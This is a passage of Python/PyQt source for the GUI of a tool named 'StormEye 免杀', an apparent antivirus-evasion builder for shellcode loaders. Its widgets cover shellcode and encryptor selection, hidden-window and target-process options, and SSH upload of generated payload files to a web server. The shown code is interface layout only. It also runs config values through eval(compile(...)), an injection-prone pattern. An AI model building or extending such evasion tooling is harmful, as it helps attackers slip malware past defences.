514 | self.hiddenWindow.clicked.connect(self.GetMethod)
515 | self.savePyFile.clicked.connect(self.GetMethod)
516 | self.urlWriteIn.clicked.connect(self.GetMethod)
517 |
518 |
519 | # 第五排
520 | self.ipaddrEdit=QLineEdit()
521 | self.ipaddrLable=QLabel("url地址:")
522 |
523 |
524 |
525 |
526 |
527 | #第7排 描述框
528 | self.tipInfo=QTextEdit(self)
529 | self.tipInfo.setStyleSheet("color: rgba(0, 0, 0, 128);")
530 | self.tipInfo.setReadOnly(True)
531 | self.tipInfo.resize(400,200)
532 | # self.tipInfo.setHidden(True)
533 | self.tipInfo.setFrameStyle(QFrame.Panel|QFrame.Sunken)
534 | # self.tipInfo.setAlignment(Qt.AlignBottom | Qt.AlignRight)
535 |
536 |
537 |
538 | # 布局
539 | self.vbox = QVBoxLayout(self)
540 |
541 |
542 | hbox2 = QHBoxLayout()
543 | hbox2.addWidget(self.localsplit)
544 | hbox2.addWidget(self.networksplit)
545 | self.vbox.addLayout(hbox2)
546 |
547 | hbox1 = QHBoxLayout()
548 | # hbox1.addStretch(1)
549 | hbox1.addWidget(self.fileNameLabel)
550 | hbox1.addWidget(self.fileNameEdit)
551 | hbox1.addWidget(self.selectFileButton)
552 | self.vbox.addLayout(hbox1)
553 |
554 |
555 |
556 | hbox3 = QHBoxLayout()
557 |
558 | hbox3.addWidget(self.shellcodeLabel)
559 | hbox3.addWidget(self.shellcodeCombo)
560 | hbox3.addWidget(self.cryptorLabel)
561 | hbox3.addWidget(self.cryptorCombo)
562 | hbox3.addStretch(1)
563 | self.vbox.addLayout(hbox3)
564 |
565 | hbox4 = QHBoxLayout()
566 | # hbox4.addStretch(1)
567 | hbox4.addWidget(self.check64)
568 | hbox4.addWidget(self.hiddenWindow)
569 | hbox4.addWidget(self.savePyFile)
570 | hbox4.addWidget(self.urlWriteIn)
571 | hbox4.addStretch(1)
572 | self.vbox.addLayout(hbox4)
573 |
574 |
575 |
576 |
577 | hbox5=QHBoxLayout()
578 | # hbox5.addStretch(1)
579 | hbox5.addWidget(self.ipaddrLable)
580 | hbox5.addWidget(self.ipaddrEdit)
581 | self.vbox.addLayout(hbox5)
582 |
583 | hbox0=QHBoxLayout()
584 | hbox0.addStretch(1)
585 | hbox0.addWidget(self.gobtn)
586 | hbox0.addStretch(1)
587 | self.vbox.addLayout(hbox0)
588 |
589 |
590 | self.ipaddrEdit.setHidden(True)
591 | self.ipaddrLable.setHidden(True)
592 |
593 |
594 |
595 | def bottom(self):
596 | hbox7=QHBoxLayout()
597 | hbox7.addWidget(self.tipInfo)
598 | hbox7.setGeometry(QRect(0, 0, 400, 200))
599 | self.vbox.addLayout(hbox7)
600 |
601 | self.vbox.addStretch(1)
602 |
603 |
604 | def onActivated(self, text):
605 | print('yes')
606 | # self.lbl.setText(text)
607 | # self.lbl.adjustSize()
608 |
609 |
610 | class GeneralWidget(Common):
611 | def __init__(self):
612 | super().__init__()
613 | self.setDefault('normal')
614 |
615 | self.bottom()
616 |
617 |
618 | class HiddenWidget(Common):
619 | def __init__(self):
620 | super().__init__()
621 | self.shellcodeCombo.clear()
622 | self.shellcodeCombo.addItems(self.Getmapping('hidden'))
623 |
624 | #隐匿模式下的第六排
625 | self.targetName=QLabel("目标进程名:")
626 | self.targetEdit=QLineEdit("")
627 | hbox6=QHBoxLayout()
628 | hbox6.addWidget(self.targetName)
629 | hbox6.addWidget(self.targetEdit)
630 | self.vbox.addLayout(hbox6)
631 |
632 | self.setDefault('hidden')
633 | self.changeEachTime()
634 |
635 |
636 |
637 | self.bottom()
638 |
639 |
640 |
641 | class ConfigWidget(QWidget,commonFun):
642 | def __init__(self):
643 | super().__init__()
644 | confDic={
645 | 'host':'',
646 | 'port':22,
647 | 'username':'root',
648 | 'password':'',
649 | 'remotepath':'/var/www/html',
650 | 'url':''
651 | }
652 | value=readConfig()
653 | if value:
654 | confDic={
655 | 'host':value[0],
656 | 'port':value[1],
657 | 'username':value[2],
658 | 'password':value[3],
659 | 'remotepath':value[4],
660 | 'url':value[5]
661 | }
662 |
663 | vbox = QVBoxLayout(self)
664 | n=0
665 | for conf in confDic.keys():#将配置文件中的数据导出并构建组件显示
666 | n+=1
667 | print(f'self.{conf}Lable = QLabel("{conf}:")')
668 | eval(compile(f'self.{conf}Lable = QLabel("{conf}:")','asd','exec'))
669 | eval(compile(f'self.{conf}Edit = QLineEdit("{confDic[conf]}")','asd','exec'))
670 | eval(compile(f'hbox{n} = QHBoxLayout()','asd','exec'))
671 | eval(compile(f'hbox{n}.addWidget(self.{conf}Lable)','asd','exec'))
672 | eval(compile(f'hbox{n}.addWidget(self.{conf}Edit)','asd','exec'))
673 | eval(compile(f'vbox.addLayout(hbox{n})','asd','exec'))
674 |
675 | self.changeConfigbtn=QPushButton('保存配置')
676 | self.testConnectbtn=QPushButton('测试连接')
677 | self.changeConfigbtn.clicked.connect(self.changeConfig)
678 | self.testConnectbtn.clicked.connect(self.testConnect)
679 |
680 | hboxbtn=QHBoxLayout()
681 | hboxbtn.addWidget(self.changeConfigbtn)
682 | hboxbtn.addWidget(self.testConnectbtn)
683 | vbox.addLayout(hboxbtn)
684 |
685 | self.tipInfo=QTextEdit()
686 | self.tipInfo.setPlaceholderText("此处配置web服务器的SSH信息,当使用Shellcode网络分离模式时,由于加解密器会进行随机位移所以每次生成的PayloadFile都不一样,配置SSH后可以自动将最新的PayloadFile同步到自己服务器的remotepath目录(web根目录)")
687 | self.tipInfo.resize(400,200)
688 | hboxText=QHBoxLayout()
689 | hboxText.addWidget(self.tipInfo)
690 | vbox.addLayout(hboxText)
691 |
692 |
693 |
694 | vbox.addStretch(1)
695 |
696 |
697 | class Window(QWidget,commonFun):
698 | def __init__(self):
699 | super().__init__()
700 | self.setWindowTitle('风暴免杀©StormEye')
701 | self.resize(500, 400)
702 | self.setup_ui()
703 |
704 |
705 | def setup_ui(self):
706 | # 创建选项卡
707 | self.tabWidget = QTabWidget(self)
708 | self.tabWidget.resize(500,400)
709 | self.tabWidget.addTab(GeneralWidget(), "普通模式")
710 | self.tabWidget.addTab(HiddenWidget(), "隐匿模式")
711 | self.tabWidget.addTab(ConfigWidget(), "配置")
712 | self.setWindowIcon(QIcon(os.path.dirname(os.path.abspath(__file__))+os.sep+'config'+os.sep+'ico.png'))
713 |
714 | # self.setStyleSheet("border: 1px;")
715 | # self.setFixedSize(500, 300)
716 | self.setAutoFillBackground(True)
717 |
718 |
719 | # 设置主窗口大小
720 | # self.resize(800, 600)
721 |
722 | def center(self):
723 | qr = self.frameGeometry()
724 | cp = QDesktopWidget().availableGeometry().center()
725 | qr.moveCenter(cp)
726 | self.move(qr.topLeft())
727 |
728 |
729 | def setPane( self,pressed):
730 | source = self.sender()
731 |
732 | if pressed:
733 | val = 255
734 | else: val = 0
735 | print('click')
736 |
737 |
738 |
739 |
740 | if __name__ == '__main__':
741 | app = QApplication(sys.argv)
742 | window = Window()
743 | window.show()
744 | sys.exit(app.exec_())
--------------------------------------------------------------------------------